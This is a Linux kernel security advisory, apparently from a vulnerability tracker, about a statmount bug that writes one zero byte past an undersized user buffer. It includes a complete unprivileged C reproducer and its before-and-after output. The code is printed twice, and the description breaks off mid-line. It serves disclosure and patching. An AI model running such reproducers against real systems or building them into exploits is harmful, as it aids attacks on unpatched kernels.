GHSA-4MWR-4WR7-WHXR
Vulnerability from github – Published: 2026-11-30 15:32 – Updated: 2026-11-30 15:32In the Linux kernel, the following vulnerability has been resolved:
statmount: don't copy the reserved empty string past the buffer
statmount_string() reserves an empty string at the start of the seq buffer before it calls the handler for the requested string. That's what the offsets of unset strings point to since commit e52e97f09fb6 ("statmount: let unset strings be empty").
If the handler emits nothing the early return from commit 75ead69a7173 ("fs: don't let statmount return empty strings") skips the size check against the caller's buffer. Back then an empty emission meant an empty seq buffer and there was nothing to copy. Now the reserved NUL byte is there and copy_statmount_to_user() copies it to buf + sizeof(struct statmount) no matter how small bufsize is.
So request a string that may turn out empty with a buffer that's smaller than struct statmount and the kernel writes one zero byte past the caller's buffer and reports a size that's larger than the buffer. STATMOUNT_MNT_UIDMAP or STATMOUNT_MNT_GIDMAP on a mount that isn't idmapped will do, so will STATMOUNT_FS_SUBTYPE on anything but fuse or STATMOUNT_OPT_ARRAY on a filesystem without ->show_options(). None of this needs privileges. The byte only lands in the caller's own address space but that's still not ok.
prepare_kstatmount() already refuses a buffer of exactly sizeof(struct statmount) for string requests. A smaller buffer can't hold a string either and it can't even hold the reserved empty string. So refuse any buffer that isn't larger than the fixed part. That's also what the uapi header says: string requests need space after the fixed part of the structure.
Reproducer, unprivileged, on any mount that isn't idmapped:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define STATMOUNT_FS_SUBTYPE 0x00000100U
#define STATMOUNT_MNT_UIDMAP 0x00002000U
#define STATX_MNT_ID_UNIQUE 0x00004000U
#define SM_SIZE 512 /* sizeof(struct statmount) */
struct mnt_id_req {
uint32_t size, mnt_ns_fd;
uint64_t mnt_id, param, mnt_ns_id;
};
static uint64_t root_mnt_id(void)
{
unsigned char stx[256]; /* struct statx, stx_mnt_id at offset 144 */
uint64_t id;
if (syscall(__NR_statx, AT_FDCWD, "/", 0, STATX_MNT_ID_UNIQUE, stx))
_exit(1);
memcpy(&id, stx + 144, sizeof(id));
return id;
}
static void probe(uint64_t mnt_id, uint64_t mask, int guard)
{
struct mnt_id_req req = {
.size = sizeof(req), .mnt_id = mnt_id, .param = mask,
};
long page = sysconf(_SC_PAGESIZE);
unsigned char *map, *buf;
uint32_t size;
long ret;
map = mmap(NULL, 2 * page, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(map, 0xaa, 2 * page);
/* 100 byte buffer ending right at the page boundary */
buf = map + page - 100;
if (guard)
mprotect(map + page, page, PROT_NONE);
errno = 0;
ret = syscall(__NR_statmount, &req, buf, 100, 0);
printf("mask 0x%04llx%s: ret %ld errno %d", (unsigned long long)mask,
guard ? " guard page" : "", ret, errno);
if (!guard) {
memcpy(&size, buf, sizeof(size));
printf(", size 0x%x, byte[%d] 0x%02x", size, SM_SIZE,
buf[SM_SIZE]);
}
printf("\n");
munmap(map, 2 * page);
}
int main(void)
{
uint64_t id = root_mnt_id();
probe(id, STATMOUNT_MNT_UIDMAP, 0);
probe(id, STATMOUNT_FS_SUBTYPE, 0);
probe(id, STATMOUNT_MNT_UIDMAP, 1);
return 0;
}
Before, on 7.3.0-rc7-00252-g4e3259b08c54 (vfs.fixes) in a VM, the same on a distro 7.1.13:
mask 0x2000: ret 0 errno 0, size 0x65, byte[512] 0x00
mask 0x0100: ret 0 errno 0, size 0x65, byte[512] 0x00
mask 0x2000 guard page: ret -1 errno 14
After:
mask 0x2000: ret -1 er
---truncated---
{
"affected": [],
"aliases": [
"CVE-2026-99952"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-30T14:20:32Z",
"severity": null
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nstatmount: don\u0027t copy the reserved empty string past the buffer\n\nstatmount_string() reserves an empty string at the start of the seq\nbuffer before it calls the handler for the requested string. That\u0027s\nwhat the offsets of unset strings point to since commit e52e97f09fb6\n(\"statmount: let unset strings be empty\").\n\nIf the handler emits nothing the early return from commit 75ead69a7173\n(\"fs: don\u0027t let statmount return empty strings\") skips the size check\nagainst the caller\u0027s buffer. Back then an empty emission meant an empty\nseq buffer and there was nothing to copy. Now the reserved NUL byte is\nthere and copy_statmount_to_user() copies it to buf + sizeof(struct\nstatmount) no matter how small bufsize is.\n\nSo request a string that may turn out empty with a buffer that\u0027s\nsmaller than struct statmount and the kernel writes one zero byte past\nthe caller\u0027s buffer and reports a size that\u0027s larger than the buffer.\nSTATMOUNT_MNT_UIDMAP or STATMOUNT_MNT_GIDMAP on a mount that isn\u0027t\nidmapped will do, so will STATMOUNT_FS_SUBTYPE on anything but fuse or\nSTATMOUNT_OPT_ARRAY on a filesystem without -\u003eshow_options(). None of\nthis needs privileges. The byte only lands in the caller\u0027s own address\nspace but that\u0027s still not ok.\n\nprepare_kstatmount() already refuses a buffer of exactly sizeof(struct\nstatmount) for string requests. A smaller buffer can\u0027t hold a string\neither and it can\u0027t even hold the reserved empty string. So refuse any\nbuffer that isn\u0027t larger than the fixed part. That\u0027s also what the uapi\nheader says: string requests need space after the fixed part of the\nstructure.\n\nReproducer, unprivileged, on any mount that isn\u0027t idmapped:\n\n #define _GNU_SOURCE\n #include \u003cerrno.h\u003e\n #include \u003cfcntl.h\u003e\n #include \u003cstdint.h\u003e\n #include \u003cstdio.h\u003e\n #include \u003cstring.h\u003e\n #include \u003csys/mman.h\u003e\n #include \u003csys/syscall.h\u003e\n #include \u003cunistd.h\u003e\n #define STATMOUNT_FS_SUBTYPE\t0x00000100U\n #define STATMOUNT_MNT_UIDMAP\t0x00002000U\n #define STATX_MNT_ID_UNIQUE\t0x00004000U\n #define SM_SIZE\t\t\t512 /* sizeof(struct statmount) */\n struct mnt_id_req {\n \tuint32_t size, mnt_ns_fd;\n \tuint64_t mnt_id, param, mnt_ns_id;\n };\n static uint64_t root_mnt_id(void)\n {\n \tunsigned char stx[256]; /* struct statx, stx_mnt_id at offset 144 */\n \tuint64_t id;\n \tif (syscall(__NR_statx, AT_FDCWD, \"/\", 0, STATX_MNT_ID_UNIQUE, stx))\n \t\t_exit(1);\n \tmemcpy(\u0026id, stx + 144, sizeof(id));\n \treturn id;\n }\n static void probe(uint64_t mnt_id, uint64_t mask, int guard)\n {\n \tstruct mnt_id_req req = {\n \t\t.size = sizeof(req), .mnt_id = mnt_id, .param = mask,\n \t};\n \tlong page = sysconf(_SC_PAGESIZE);\n \tunsigned char *map, *buf;\n \tuint32_t size;\n \tlong ret;\n \tmap = mmap(NULL, 2 * page, PROT_READ | PROT_WRITE,\n \t\t MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n \tmemset(map, 0xaa, 2 * page);\n \t/* 100 byte buffer ending right at the page boundary */\n \tbuf = map + page - 100;\n \tif (guard)\n \t\tmprotect(map + page, page, PROT_NONE);\n \terrno = 0;\n \tret = syscall(__NR_statmount, \u0026req, buf, 100, 0);\n \tprintf(\"mask 0x%04llx%s: ret %ld errno %d\", (unsigned long long)mask,\n \t guard ? \" guard page\" : \"\", ret, errno);\n \tif (!guard) {\n \t\tmemcpy(\u0026size, buf, sizeof(size));\n \t\tprintf(\", size 0x%x, byte[%d] 0x%02x\", size, SM_SIZE,\n \t\t buf[SM_SIZE]);\n \t}\n \tprintf(\"\\n\");\n \tmunmap(map, 2 * page);\n }\n int main(void)\n {\n \tuint64_t id = root_mnt_id();\n \tprobe(id, STATMOUNT_MNT_UIDMAP, 0);\n \tprobe(id, STATMOUNT_FS_SUBTYPE, 0);\n \tprobe(id, STATMOUNT_MNT_UIDMAP, 1);\n \treturn 0;\n }\n\nBefore, on 7.3.0-rc7-00252-g4e3259b08c54 (vfs.fixes) in a VM, the\nsame on a distro 7.1.13:\n\n mask 0x2000: ret 0 errno 0, size 0x65, byte[512] 0x00\n mask 0x0100: ret 0 errno 0, size 0x65, byte[512] 0x00\n mask 0x2000 guard page: ret -1 errno 14\n\nAfter:\n\n mask 0x2000: ret -1 er\n---truncated---",
"id": "GHSA-4mwr-4wr7-whxr",
"modified": "2026-11-30T15:32:50Z",
"published": "2026-11-30T15:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-99952"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0be8ba845e49ae45cdaf60e3f38be8514efe5f00"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/11eef75006819f4e71d04ca2b9a1fb1580854a55"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a522c991eb26a8b011793fa41659596e6f444f67"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/adbd15a2d4a92eeff7eacee40c378460d0ea0c6f"
}
],
"schema_version": "1.4.0",
"severity": []
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.